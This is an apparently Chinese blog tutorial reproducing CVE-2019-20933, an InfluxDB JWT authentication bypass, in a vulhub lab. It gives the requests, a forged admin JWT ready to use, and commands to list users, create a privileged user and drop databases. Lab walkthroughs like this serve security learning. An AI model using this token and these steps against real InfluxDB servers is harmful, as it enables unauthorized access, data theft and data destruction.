数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

2023-11-11 13:44

本文主要是介绍数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 是一个开源分布式时序,时间和指标数据库。其数据库是使用 Jwt 作为鉴权方式,在用户开启认证时,如果在设置参数 shared-secret 的情况下,Jwt 认证密钥为空字符串,这样攻击者就能伪造任意用户身份在 InfluxDB 数据库中执行SQL语句,因此会导致敏感信息泄露和执行威胁到数据库的数据命令.


目录:

数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.

InfluxDB 未授权访问:

开启 vulhub 靶场环境:

Jwt验证不当 漏洞:


InfluxDB 未授权访问:

开启 vulhub 靶场环境:

第一步:切换到 vulhub 目录下

cd vulhub


第二步:切换到 influxdb 目录下.

cd influxdb


第三步:切换到 CVE-2019-20933 漏洞目录下.

cd CVE-2019-20933 


第四步:开启 漏洞 服务.

docker-compose up -d 


    

Jwt验证不当 漏洞:

第一步:访问 http://IP地址:8086/debug/vars 查看能不能访问到系统的服务信息,如果能 则可能存在漏洞.(8086 是默认端口.)

http://192.168.0.105:8086/debug/vars


第二步:访问 http://IP地址:8086/query 查看查询功能是否会有提示需要登录.

http://192.168.0.105:8086/query


第三步:添加 POST 请求值.

db=sample&q=show users            // 意思是:显示 数据库中的用户.


第四步:访问 URL ,然后用 Burp 进行抓包,再发给 Repeater(重发器)


第五步:通过 JSON Web Tokens - jwt.io 生成所需要的 Token:

{"alg": "HS256","typ": "JWT"
}{"username": "admin","exp": 3751718877
}

( username需要已存在的用户才行,所以使用 admin 用户就好.)

exp是时间戳 ,这个时间戳一定要是未来的时间才行,这里我生成了一个 2088 年的时间戳(所以我下面的Encoded值可以直接用):3751718877)

在线时间戳,转换器:https://www.beijing-time.org/shijianchuo/


第六步:在 Burp 抓包的数据包中添加 Authorization: Bearer (后面就是 Encoded 生成的值)【这个可以直接用,因为时间戳的结束是2088年】

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozNzUxNzE4ODc3fQ.0w_-RJXNLryUpIZnglQGRDewVNty-_d9xuS-MdO4YDQ


第七步:如果要进行其他操作则修改 q= 你想要查看的信息就行.

show users			# 显示用户show databases		# 显示数据库create database xxx	# 创建xxx数据库drop database xxx	# 删除xxx数据库create user influx with password '***' with all privileges;	# 创建用户

    

   

    

参考文章:InfluxDB 未授权访问 漏洞复现_debug/vars-CSDN博客

这篇关于数据库安全:InfluxDB 未授权访问-Jwt验证不当 漏洞.的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/390466

相关文章

linux ssh如何实现增加访问端口

《linuxssh如何实现增加访问端口》Linux中SSH默认使用22端口,为了增强安全性或满足特定需求,可以通过修改SSH配置来增加或更改SSH访问端口,具体步骤包括修改SSH配置文件、增加或修改... 目录1. 修改 SSH 配置文件2. 增加或修改端口3. 保存并退出编辑器4. 更新防火墙规则使用uf

Java JDK Validation 注解解析与使用方法验证

《JavaJDKValidation注解解析与使用方法验证》JakartaValidation提供了一种声明式、标准化的方式来验证Java对象,与框架无关,可以方便地集成到各种Java应用中,... 目录核心概念1. 主要注解基本约束注解其他常用注解2. 核心接口使用方法1. 基本使用添加依赖 (Maven

python库pydantic数据验证和设置管理库的用途

《python库pydantic数据验证和设置管理库的用途》pydantic是一个用于数据验证和设置管理的Python库,它主要利用Python类型注解来定义数据模型的结构和验证规则,本文给大家介绍p... 目录主要特点和用途:Field数值验证参数总结pydantic 是一个让你能够 confidentl

JWT + 拦截器实现无状态登录系统

《JWT+拦截器实现无状态登录系统》JWT(JSONWebToken)提供了一种无状态的解决方案:用户登录后,服务器返回一个Token,后续请求携带该Token即可完成身份验证,无需服务器存储会话... 目录✅ 引言 一、JWT 是什么? 二、技术选型 三、项目结构 四、核心代码实现4.1 添加依赖(pom

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

使用SpringBoot+InfluxDB实现高效数据存储与查询

《使用SpringBoot+InfluxDB实现高效数据存储与查询》InfluxDB是一个开源的时间序列数据库,特别适合处理带有时间戳的监控数据、指标数据等,下面详细介绍如何在SpringBoot项目... 目录1、项目介绍2、 InfluxDB 介绍3、Spring Boot 配置 InfluxDB4、I

通过配置nginx访问服务器静态资源的过程

《通过配置nginx访问服务器静态资源的过程》文章介绍了图片存储路径设置、Nginx服务器配置及通过http://192.168.206.170:8007/a.png访问图片的方法,涵盖图片管理与服务... 目录1.图片存储路径2.nginx配置3.访问图片方式总结1.图片存储路径2.nginx配置

springboot项目中集成shiro+jwt完整实例代码

《springboot项目中集成shiro+jwt完整实例代码》本文详细介绍如何在项目中集成Shiro和JWT,实现用户登录校验、token携带及接口权限管理,涉及自定义Realm、ModularRe... 目录简介目的需要的jar集成过程1.配置shiro2.创建自定义Realm2.1 LoginReal

SpringBoot集成Shiro+JWT(Hutool)完整代码示例

《SpringBoot集成Shiro+JWT(Hutool)完整代码示例》ApacheShiro是一个强大且易用的Java安全框架,提供了认证、授权、加密和会话管理功能,在现代应用开发中,Shiro因... 目录一、背景介绍1.1 为什么使用Shiro?1.2 为什么需要双Token?二、技术栈组成三、环境

SpringBoot结合Knife4j进行API分组授权管理配置详解

《SpringBoot结合Knife4j进行API分组授权管理配置详解》在现代的微服务架构中,API文档和授权管理是不可或缺的一部分,本文将介绍如何在SpringBoot应用中集成Knife4j,并进... 目录环境准备配置 Swagger配置 Swagger OpenAPI自定义 Swagger UI 底